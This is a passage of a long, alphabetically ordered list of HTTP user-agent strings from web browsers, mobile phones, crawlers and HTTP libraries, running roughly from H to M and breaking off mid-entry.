HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0 HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 HTC_HD2_T8585 Opera/9.70 (Windows NT 5.1; U; de) HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) HTML2JPG Blackbox, http://www.html2jpg.com HTML2JPG Enterprise HTMLParser/1.6 HTMLParser/1.x HTTP Retriever HTTP::Lite/2.x.x HTTPEyes HTTPResume v. 1.x Haier-T10C/1.0 iPanel/2.0 WAP2.0 (compatible; UP.Browser/6.2.2.4; UPG1; UP/4.0; Embedded) HappyFunBot/1.1 HappyFunBot/1.1 ( http://www.happyfunsearch.com/bot.html) Harvest-NG/1.0.2 Haste/0.12 (HOME: http://haste.kytoon.com/) Hatena Antenna/0.4 (http://a.hatena.ne.jp/help#robot) Hatena Mobile Gateway/1.0 Hatena Pagetitle Agent/1.0 Hatena RSS/0.3 (http://r.hatena.ne.jp) HatenaScreenshot/1.0 (checker) HeinrichderMiragoRobot HeinrichderMiragoRobot (http://www.miragorobot.com/scripts/deinfo.asp) Helix/1.x ( http://www.sitesearch.ca/helix/) HenriLeRobotMirago (http://www.miragorobot.com/scripts/frinfo.asp) HenryTheMiragoRobot (http://www.miragorobot.com/scripts/mrinfo.asp) HenrytheMiragoRobot Hi! I'm CsCrawler my homepage: http://www.kde.cs.uni-kassel.de/lehre/ss2005/googlespam/crawler.html RPT-HTTPClient/0.3-3 HiDownload Hippias/0.9 Beta HitList Hitwise Spider v1.0 http://www.hitwise.com HolmesBot (http://holmes.ge) HomePageSearch(hpsearch.uni-trier.de) Homerbot: www.homerweb.com Honda-Search/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; search@honda-search.com) HooWWWer/2.1.3 (debugging run) (+http://cosco.hiit.fi/search/hoowwwer/ | mailto:crawler-infohiit.fi) HooWWWer/2.1.x ( http://cosco.hiit.fi/search/hoowwwer/ | mailto:crawler-infohiit.fi) HotJava/1.0.1/JRE1.1.x HotJava/1.1.2 FCS Hotzonu/x.0 Html Link Validator (www.lithopssoft.com) Hybrid/1.2 [en] (OS Independent) HyperEstraier/1.x.xx IAArchiver-1.0 IBM WebExplorer /v0.94 IBrowse/2.2 (AmigaOS 3.5) IBrowse/2.2 (Windows 3.1) IBrowse/2.3 (AmigaOS 3.9) IBrowse/2.4 (AmigaOS 3.9; 68K) IBrowse/2.4demo (AmigaOS 3.9; 68K) ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp) ICC-Crawler(Mozilla-compatible;http://kc.nict.go.jp/icc/crawl.html;icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp) ICCrawler - ICjobs (http://www.icjobs.de/bot.htm) ICE Browser/5.05 (Java 1.4.0; Windows 2000 5.0 x86) ICOO Loader v.x.x.x ICRA_label_spider/x.0 IDA IEFav172Free IIITBOT/1.1 (Indian Language Web Search Engine; http://webkhoj.iiit.net; pvvpr at iiit dot ac dot in) INFOMINE/8.0 Adders INFOMINE/8.0 RemoteServices INFOMINE/8.0 VLCrawler (http://infomine.ucr.edu/useragents) INGRID/3.0 MT (webcrawler@NOSPAMexperimental.net; http://webmaster.ilse.nl/jsp/webmaster.jsp) IOI/2.0 (ISC Open Index crawler; http://index.isc.org/; bot@index.isc.org) IP*Works! V5 HTTP/S Component - by /n software - www.nsoftware.com IP2MapBot/1.1 http://www.ip2map.com IPiumBot laurion(dot)com IRLbot/1.0 ( http://irl.cs.tamu.edu/crawler) IRLbot/2.0 ( http://irl.cs.tamu.edu/crawler) IRLbot/2.0 (+http://irl.cs.tamu.edu/crawler) IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler) IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler) IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/) ISC Systems iRc Search 2.1 IUPUI Research Bot v 1.9a IWAgent/ 1.0 - www.brandprotect.com Iceape Iceweasel IconSurf/2.0 favicon finder (see http://iconsurf.com/robot.html) IconSurf/2.0 favicon monitor (see http://iconsurf.com/robot.html) IlTrovatore-Setaccio ( http://www.iltrovatore.it) IlTrovatore-Setaccio/1.2 ( http://www.iltrovatore.it/aiuto/faq.html) IlTrovatore/1.2 (IlTrovatore; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it) IlseBot/1.x Iltrovatore-Setaccio/0.3-dev (Indexing; http://www.iltrovatore.it/bot.html; info@iltrovatore.it) Iltrovatore-Setaccio/1.2 (It-bot; http://www.iltrovatore.it/bot.html; info@iltrovatore.it) ImageVisu/v4.x.x ImageWalker/2.0 (www.bdbrandprotect.com) Incutio HttpClient v0.x IncyWincy data gatherer(webmaster@loopimprovements.com IncyWincy page crawler(webmaster@loopimprovements.com IncyWincy(http://www.look.com) IncyWincy(http://www.loopimprovements.com/robot.html) IncyWincy/2.1(loopimprovements.com/robot.html) IndexTheWeb.com Crawler7 Industry Program 1.0.x Inet library InetURL/1.0 InfoFly/1.0 (http://www.versions-project.org/) InfoLink/1.x InfoNaviRobot(F107) InfoSeek Sidewinder/0.9 InfoSeek Sidewinder/1.0A InfoSeek Sidewinder/1.1A InfoWizards Reciprocal Link System PRO - (http://www.infowizards.com) Infoaxe./Nutch-0.9 Infoseek SideWinder/1.45 (Compatible; MSIE 10.0; UNIX) Infoseek SideWinder/2.0B (Linux 2.4 i686) Inktomi Search InnerpriseBot/1.0 (http://www.innerprise.com/) Insitor.com search and find world wide! Insitornaut InstallShield DigitalWizard Intelix/0.x (cs; http://www.microton.cz/intelix/; microton@@microton.cz) Interarchy/x.x.x (InterarchyCrawler) Internet Ninja x.0 InternetArchive/0.8-dev(Nutch;http://lucene.apache.org/nutch/bot.html;nutch-agent@lucene.apache InternetLinkAgent/3.1 InternetSeer.com IpselonBot/0.xx-beta (Ipselon; http://www.ipselon.com; ipselonbot@ipselon.com) Iria/1.xxa Iron/2.0.168.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/530.1 (KHTML, like Gecko) IrssiUrlLog/0.2 Irvine/1.x.x IssueCrawler J-PHONE/3.0/J-SH07 JBH Agent 2.0 JCheckLinks/0.1 RPT-HTTPClient/0.3-1 JDK/1.1 JOC Web Spider JRTS Check Favorites Utility JRTwine Software Check Favorites Utility Jabot/6.x (http://odin.ingrid.org/) Jabot/7.x.x (http://odin.ingrid.org/) Jack Jakarta Commons-HttpClient/2.0xxx Jakarta Commons-HttpClient/3.0-rcx Jambot/0.1.x (Jambot; http://www.jambot.com/blog; crawler@jambot.com) Jambot/0.2.1 (Jambot; http://www.jambot.com/blog/static.php?page=webmaster-robot; crawler@jambot.com) Java 1.1 Java/1.4.1 Java/1.4.1-p3 Java/1.4.1_01 Java/1.4.1_01a Java/1.4.1_02 Java/1.4.1_03 Java/1.4.1_04 Java/1.4.2 Java/1.4.2_01 Java/1.4.2_03 Java/1.4.2_04 Java/1.4.2_05 Java/1.4.2_07 Java/1.4.2_08 Java/1.4.2_09 Java/1.4.2_10 Java/1.4.2_11 Java/1.5.0 Java/1.5.0_01 Java/1.5.0_02 Java/1.5.0_03 Java/1.5.0_04 Java/1.5.0_05 Java/1.5.0_06 Java/1.5.0_08 Java/1.5.0_11 Java/1.6.0-beta Java/1.6.0_02 Java/1.6.0_03 Java/1.6.0_04 Java/1.6.0_11 Java/1.6.0_12 Java/1.6.0_13 Java/1.6.0_26 Java1.0.21.0 Java1.1.xx.x Java1.2.1 Java1.2.2 Java1.2.2-JDeveloper Java1.3.0 Java1.3.0rc1 Java1.3.1 Java1.3.1_04 Java1.3.1_06 Java1.3.x Java1.4.0 Java1.4.0_01 Java1.4.0_02 Java1.4.0_03 Java1.4.2_03 Jaxified Bot (+http://www.jaxified.com/crawler/) Jayde Crawler. http://www.jayde.com Jeode/1.x.x JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/) JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/) JetCar Jetbot/1.0 Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 Jigsaw/2.2.x W3C_CSS_Validator_JFouffa/2.0 JoBo/1.x (http://www.matuschek.net/jobo.html) JoBo/@JOBO_VERSION@(http://www.matuschek.net/jobo.html) JobSpider_BA/1.1 JordoMedia/1.0 RSS File Reader (http://www.jordomedia.com) Journster [alpha] (http://journster.com/) Journster.com RSS/Atom aggregator 0.5 (http://www.journster.com/bot.phtml) Jyxobot/1 Jyxobot/x K-Meleon/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko/20011011 KAIST AITrc Crawler KDDI-SN22 UP.Browser/6.0.7 (GUI) MMP/1.1 (Google WAP Proxy/1.0) KE_1.0/2.0 libwww/5.2.8 KFSW-Bot (Version: 1.01 powered by KFSW www.kfsw.de) KIT-Fireball/2.0 KIT-Fireball/2.0 (compatible; Mozilla 4.0; MSIE 5.5) KSbot/1.0 (KnowledgeStorm crawler; http://www.knowledgestorm.com/resources/content/crawler/index.html; crawleradmin@knowledgestorm.com) KWC-KX9/1109 UP.Browser/6.2.3.9.g.1.107 (GUI) MMP/2.0 UP.Link/6.3.0.0.0 KakleBot - www.kakle.com/0.1 (KakleBot - www.kakle.com; http:// www.kakle.com/bot.html; support@kakle.com) Kapere (http://www.kapere.com) Kazehakase/0.x.x.[x] Kenjin Spider Kevin http://dznet.com/kevin/ Kevin http://websitealert.net/kevin/ Klondike/1.50 (WSP Win32) (Google WAP Proxy/1.0) KnowItAll(knowitall@cs.washington.edu) Knowledge.com/0.x Konqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode) Kontiki Client x.xx Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://www.krugle.com/crawler/info.html; webcrawler@krugle.com) KummHttp/1.1 (compatible; KummClient; Linux rulez) L.webis/0.87 (http://webalgo.iit.cnr.it/index.php?pg=lwebis) LARBIN-EXPERIMENTAL (efp@gmx.net) LARBIN-EXPERIMENTAL efp@gmx.net LECodeChecker/3.0 libgetdoc/1.0 LEIA/2.90 LEIA/3.01pr (LEIAcrawler; [SNIP]) LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1 LG-LX260 POLARIS-LX260/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 LG/U8138/v1.0 LMQueueBot/0.2 LNSpiderguy LTI/LemurProject Nutch Spider/Nutch-1.0-dev (Research spider using Nutch; http://www.lemurproject.org; mhoy@cs.cmu.edu) LTI/LemurProject Nutch Spider/Nutch-1.0-dev (lti crawler for CMU; http://www.lti.cs.cmu.edu; changkuk at cmu dot edu) LWP::Simple/5.22 LWP::Simple/5.36 LWP::Simple/5.48 LWP::Simple/5.50 LWP::Simple/5.51 LWP::Simple/5.53 LWP::Simple/5.63 LWP::Simple/5.803 Labrador/0.2; http://ir.dcs.gla.ac.uk/labrador; craigm@dcs.gla.ac.uk Lachesis LapozzBot/1.4 ( http://robot.lapozz.com) LapozzBot/1.4 (+http://robot.lapozz.com) LapozzBot/1.5 (+http://robot.lapozz.hu) LeapTag/0.8.1.beta081.r3750 (compatible; Mozilla 4.0; MSIE 5.5; robot@yoriwa.com) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-330-g3821e8c; WebKit 4.5.2/4.5.2) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-381-g3919184; WebKit 4.5.2/4.5.2) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-383-g7446455; WebKit 4.5.2/4.5.2) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-393-g97b9bb2; WebKit 4.5.2/4.5.2) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.70-325-gb4f750b; WebKit 4.7.1/4.7.1) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.70-367-g174858a; WebKit 4.7.1/4.7.1) LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.95-1-g84cc6b7; WebKit 4.7.1/4.7.1) LeechGet 200x (www.leechget.de) LetsCrawl.com/1.0 +http://letscrawl.com/ LexiBot/1.00 LexxeBot/1.0 (lexxebot@lexxe.com) Libby_1.1/libwww-perl/5.47 LibertyW (+http://www.lw01.com) Liferea/0.x.x (Linux; en_US.UTF-8; http://liferea.sf.net/) Liferea/1.x.x (Linux; es_ES.UTF-8; http://liferea.sf.net/) LightningDownload/1.0beta2 LightningDownload/1.x.x LightningDownload/1.x.x [Accelerated x] LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/; info(a)lijit(d)com) Lincoln State Web Browser Linguee Bot (http://www.linguee.com/bot; bot@linguee.com) Link Valet Online 1.1 Link Valet Online 1.x Link Validity Check From: http://www.w3dir.com/cgi-bin (Using: Hot Links SQL by Mrcgiguy.com) LinkAlarm/2.x LinkCheck (linkcheck@inter7.com http://www.inter7.com/linkcheck) LinkExaminer/1.01 (Windows) LinkLint-checkonly/2.x.x LinkLint-spider/2.x.x LinkPimpin v1.0 LinkProver 2.1 LinkScan/11.0beta2 UnixShareware robot from Elsop.com (used by Indiafocus/Indiainfo) LinkScan/9.0g Unix LinkScan/x.x Unix LinkSonar/1.35 LinkSweeper/1.x LinkWalker LinkWalker/2.0 Linkbot Linkbot x.0 Links (0.96; Linux 2.4.20-18.7 i586) Links (0.98; Darwin 6.0 Power Macintosh) Links (0.98; Darwin 6.6 Power Macintosh) Links (0.98; Unix) Links (0.99; Darwin 10.7.0 i386; 236x64) Links (0.9x; Linux 2.4.7-10 i686) Links (0.9xpre12; Linux 2.2.14-5.0 i686; 80x24) Links (1.00pre12; Linux 2.6.8-3-k7 i686; 123x36) (Debian pkg 0.99+1.00pre12-1) Links (1.00pre20; Linux 2.6.22-2-686 i686; 80x24) (Debian pkg 1.00~pre20-0.1) Links (1.00pre20; Linux 2.6.23.1-rt4 i686; 155x56) (Debian pkg 1.00~pre20-0.1) Links (1.00pre3; SunOS 5.9 i86pc; 80x24) Links (2.0; FreeBSD 4.7-STABLE i386; 114x45) Links (2.1; Linux 2.6.18-gentoo-r6 x86_64; 80x24) Links (2.1pre11; Linux 2.6.5-gentoo i686; 122x40) Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84) Links (2.1pre15; Linux 2.4.26 i686; 158x61) Links (2.1pre15; Linux 2.4.29 i586; 80x25) Links (2.1pre15; Linux 2.6.14.4 i686; 128x48) Links (2.1pre15; Linux 2.6.9-19 i686; 80x24) Links (2.1pre15; Linux 2.6.9-19 i686; x) Links (2.1pre16; Linux 2.6.11.12-intel-domainu i686; 80x24) Links (2.1pre16; Linux 2.6.8-3-k7 i686; 123x36) Links (2.1pre17; Linux 2.6.12.2 i686; x) Links (2.1pre18; Linux 2.4.31 i686; 100x37) Links (2.1pre18; Linux 2.6.17-gentoo-r8 i686; 80x24) Links (2.1pre19; Linux 2.6.15-gentoo-r1 x86_64; 80x24) Links (2.1pre20; Linux 2.6.16-gentoo-r12 i686; 125x50) Links (2.1pre23; Linux 2.6.17.13 i686; 80x25) Links (2.1pre23; Linux 2.6.18-no2 i686; 80x23) Links (2.1pre23; Linux 2.6.24.7-1.5 i686; 209x49) Links (2.1pre26; Linux 2.6.14-hsc0ds armv5l; 236x57) Links (2.1pre26; Linux 2.6.18-5-686 i686; x) Links (2.1pre28; Linux 2.6.22-14-generic i686; 50x68) Links (2.1pre28; Linux 2.6.22-14-generic i686; x) Links (2.1pre28; Linux 2.6.23-gentoo-r3 i686; x) Links (2.1pre28; Linux 2.6.24.5 i686; 80x25) Links (2.1pre30; Linux 2.6.18-ck1-dyne i686; x) Links (2.1pre31; Linux 2.6.23.12 i686; 134x36) Links (2.1pre31; Linux 2.6.24.2 i686; x) Links (2.1pre32; Linux 2.6.24-24-generic i686; x) Links (2.1pre33; Darwin 8.11.0 Power Macintosh; 169x55) Links (2.1pre33; Darwin 8.11.0 Power Macintosh; 170x55) Links (2.1pre33; Darwin 8.11.0 Power Macintosh; x) Links (2.1pre33; Linux 2.6.24-1-686 i686; 80x23) Links (2.1pre33; Linux 2.6.24-gentoo-r3 i686; 80x28) Links (2.1pre37; Linux 2.6.26-1-686 i686; x) Links (2.1pre37; Linux 2.6.26-2-686 i686; 182x78) Links (2.1pre37; Linux 2.6.26.3-grsec-pjwstk-02 x86_64; 80x24) Links (2.1pre9; Linux 2.4.32 i686; x) Links (2.1pre; Linux) Links (2.2; FreeBSD 8.1-RELEASE i386; 196x84) Links (2.2; Linux 2.6.24.4-desktop586-3mnb i686; 141x19) Links (2.2; Linux 2.6.24.4-desktop586-3mnb i686; x) Links (2.2; Linux 2.6.25-gentoo-r9 sparc64; 166x52) Links (2.2; Linux 2.6.27-hardened-r7 x86_64; x) Links (2.2; Linux 2.6.28-11-server i686; 80x24) Links (2.2; Linux 2.6.28-14-generic i686; 80x24) Links (2.2; Linux 2.6.28-gentoo-r5 i686; x) Links (2.2; Linux 2.6.30-ARCH x86_64; 160x50) Links (2.2; Linux 2.6.32-fw3 i686; 143x53) Links (2.2; Linux 2.6.32-gentoo-r6 x86_64; 129x42) Links (2.2; Linux 3.6.9-1.el6.elrepo.x86_64 x86_64; 168x44) Links (2.2; NetBSD 5.0 i386; 80x25) Links (2.2; OpenBSD 4.8 i386; x) Links (2.3pre1; Linux 2.6.32-5-amd64 x86_64; x) Links (2.3pre1; Linux 2.6.35-22-generic i686; 177x51) Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48) Links (2.7; Linux 3.5.0-17-generic x86_64; GNU C 4.7.1; text) Links (2.7; Linux 3.5.0-24-generic x86_64; GNU C 4.7.1; x) Links (2.7; Linux 3.6.11-gentoo x86_64; GNU C 4.5.4; x) Links (2.7; Linux 3.7-trunk-amd64 x86_64; GNU C 4.7.1; x) Links (2.7; Linux 3.7.5-1-ARCH x86_64; GNU C 4.7.2; x) Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text) Links (2.xpre7; Linux 2.4.18 i586; x) Links (6.9; Unix 6.9-astral sparc; 80x25) Links - http://gossamer-threads.com/scripts/links/ Links 2.0 (http://gossamer-threads.com/scripts/links/) Links SQL (http://gossamer-threads.com/scripts/links-sql/) Links/0.9.1 (Linux 2.4.24; i386;) Links4US-Crawler, (+http://links4us.com/) LinksManager.com (http://linksmanager.com/linkchecker.html) ListBidBot (freelance job spider http://listbid.com)Freelance LiveTrans/Nutch-0.9 (maintainer: cobain at iis dot sinica dot edu dot tw; http://wkd.iis.sinica.edu.tw/LiveTrans/) Llaut/1.0 (http://mnm.uib.es/~gallir/llaut/bot.html) LocalBot/1.0 ( http://www.localbot.co.uk/) LocalcomBot/1.2.x ( http://www.local.com/bot.htm) Lockstep Spider/1.0 Look.com Lotus-Notes/4.5 ( Windows-NT ) LotusDiscovery/x.0 (compatible; Mozilla 4.0; MSIE 4.01; Windows NT) Lovel as 1.0 ( +http://www.everatom.com) Lunascape Lycos_Spider_(T-Rex) Lycos_Spider_(modspider) Lynx (textmode) Lynx/2-4-2 (Bobcat/0.5 [DOS] Jp Beta04) Lynx/2.6 libwww-FM/2.14 Lynx/2.8 (;http://seebot.org) Lynx/2.8.1pre.9 libwww-FM/2.14 Lynx/2.8.3dev.6 libwww-FM/2.14 Lynx/2.8.3dev.8 libwww-FM/2.14FM Lynx/2.8.3dev.9 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6 Lynx/2.8.3rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.5a Lynx/2.8.3rel.1 libwww-FM/2.14FM Lynx/2.8.4dev.7 libwww-FM/2.14 Lynx/2.8.4rel.1 Lynx/2.8.4rel.1 libwww-FM/2.14 Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6b Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c (human-guided@lerly.net) Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c human-guided@mapfeatures.net Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6j Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7a Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c Lynx/2.8.5dev.16 Lynx/2.8.5dev.16 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7a Lynx/2.8.5dev.2 libwww-FM/2.14 Lynx/2.8.5dev.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6a Lynx/2.8.5rel.1 libwww-FM/2.14 Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.12 Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16 Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.4.4 Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7l Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7m Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8a Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8b Lynx/2.8.5rel.1 libwww-FM/2.14FM Lynx/2.8.5rel.2 libwww-FM/2.14 Lynx/2.8.5rel.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8h Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8e Lynx/2.8.6dev.11 libwww-FM/2.14 Lynx/2.8.6rel.4 libwww-FM/2.14 Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.6.3 Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8k Lynx/2.8.6rel.5 libwww-FM/2.14 Lynx/2.8.6rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8b Lynx/2.8.6rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g Lynx/2.8.6rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/1.0.0a Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d Lynx/2.8.7dev.9 libwww-FM/2.14 Lynx/2.8.7pre.5 libwww-FM/2.14 SSL-MM/1.4.1 Lynx/2.8.7rel.2 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/1.0.0a Lynx/2.8.8dev.3 libwww-FM/2.14 SSL-MM/1.4.1 MARTINI MDbot/1.0 (+http://www.megadownload.net/bot.html) MFC Foundation Class Library 4.0 MFC_Tear_Sample MFHttpScan MIIxpc/4.2 MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+) MJ12bot/vx.x.x (http://majestic12.co.uk/bot.php?+) MJ12bot/vx.x.x (http://www.majestic12.co.uk/projects/dsearch/mj12bot.php) MJBot (SEO assessment) MLBot (www.metadatalabs.com) MOT-L6/0A.60.1BR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 MOT-L6i/0A.64.19R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 MOT-L7/08.D5.09R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 MOT-L7/NA.ACR_RB MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0 MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0 MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0 MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0 MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu) MQbot metaquerier.cs.uiuc.edu/crawler MSFrontPage/4.0 MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23 MSIE 4.0 (Win95) MSIE-5.13 (larbin@unspecified.mail) MSNBOT/0.1 (http://search.msn.com/msnbot.htm) MSNBOT/0.xx (http://search.msn.com/msnbot.htm) MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default) MSNPTC/1.0 MSProxy/2.0 MSRBOT MSRBOT (http://research.microsoft.com/research/sv/msrbot) MSRBOT (http://research.microsoft.com/research/sv/msrbot/) MVAClient MaSagool/1.0 (MaSagool; http://sagool.jp/; info@sagool.jp) Mac Finder 1.0.xx Mackster( http://www.ukwizz.com ) Mag-Net MagicWML/1.0 (forcewml) MagpieRSS/0.7 ( http://magpierss.sf.net) MagpieRSS/0.7x (+http://magpierss.sf.net) Mahiti.Com/Mahiti Crawler-1.0 (Mahiti.Com; http://mahiti.com ; mahiti.com) Mail.Ru/1.0 MantraAgent MapoftheInternet.com ( http://MapoftheInternet.com) Mariner/5.1b [de] (Win95; I ;Kolibri gncwebbot) Marketwave Hit List Martini Marvin v0.3 Mass Downloader 2.x MasterSeek Mata Hari/2.00 Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address) McBot/5.001 (windows; U; NT4.0; en-us) Media Player Classic MediaCrawler-1.0 (Experimental) MediaSearch/0.1 Mediapartners-Google Mediapartners-Google/2.1 Mediapartners-Google/2.1 ( http://www.googlebot.com/bot.html) MegaSheep v1.0 (www.searchuk.com internet sheep) Megite2.0 (http://www.megite.com) Mercator-1.x Mercator-2.0 Mercator-Scrub-1.1 MetaGer-LinkChecker MetaGer_PreChecker0.1 MetaProducts Download Express/1.x MetaURI API/2.0 metauri.com Metaeuro Web Crawler/0.2 (MetaEuro Web Search Clustering Engine; http://www.metaeuro.com; crawler at metaeuro dot com) MetagerBot/0.8-dev (MetagerBot; http://metager.de; ) Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/) MicroBaz Microsoft Data Access Internet Publishing Provider Cache Manager Microsoft Data Access Internet Publishing Provider DAV Microsoft Data Access Internet Publishing Provider Protocol Discovery Microsoft Log Parser 2.2 Microsoft Small Business Indexer Microsoft URL Control - 6.00.8862 Microsoft URL Control - 6.00.8xxx Microsoft URL Control - 6.01.9782 MicrosoftPrototypeCrawler (How's my crawling? mailto:newbiecrawler@hotmail.com) Microsoft_Internet_Explorer_5.00.438 (fjones@isd.net) Midori/0.1.1 (X11; Linux i686; U; de) WebKit/532+ Midori/0.1.1 (X11; Linux; U; de-de) WebKit/532+ Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2) Midori/0.1.10 (X11; Linux i686; U; fr-fr) WebKit/532.1+ Midori/0.1.20 (X11; Linux i686; U; fr-fr) WebKit/532.1+ Midori/0.1.4 (X11; Linux; U; en-us) WebKit/532+ Midori/0.1.5 (X11; Linux; U; it-it) WebKit/532+ Midori/0.1.6 (X11; Linux; U; de-de) WebKit/532+ Midori/0.1.6 (X11; Linux; U; en-gb) WebKit/532+ Midori/0.1.6 (X11; Linux; U; en-us) WebKit/532+ Midori/0.1.6 (X11; Linux; U; pl-pl) WebKit/532+ Midori/0.1.7 (X11; Linux x86_64; U; en-us) WebKit/532+ Midori/0.1.7 (X11; Linux; U; de-de) WebKit/532+ Midori/0.1.7 (X11; Linux; U; en-us) WebKit/532+ Midori/0.1.8 (Windows; Windows; U; en-us) WebKit/532+ Midori/0.1.8 (Windows; Windows; U; fi-fi) WebKit/532+ Midori/0.1.8 (Windows; Windows; U; fr-fr) WebKit/532+ Midori/0.1.8 (Windows; Windows; U; it-it) WebKit/532+ Midori/0.1.8 (X11; Arch Linux x86_64; U; en-us) WebKit/532+ Midori/0.1.8 (X11; Linux i686; U; 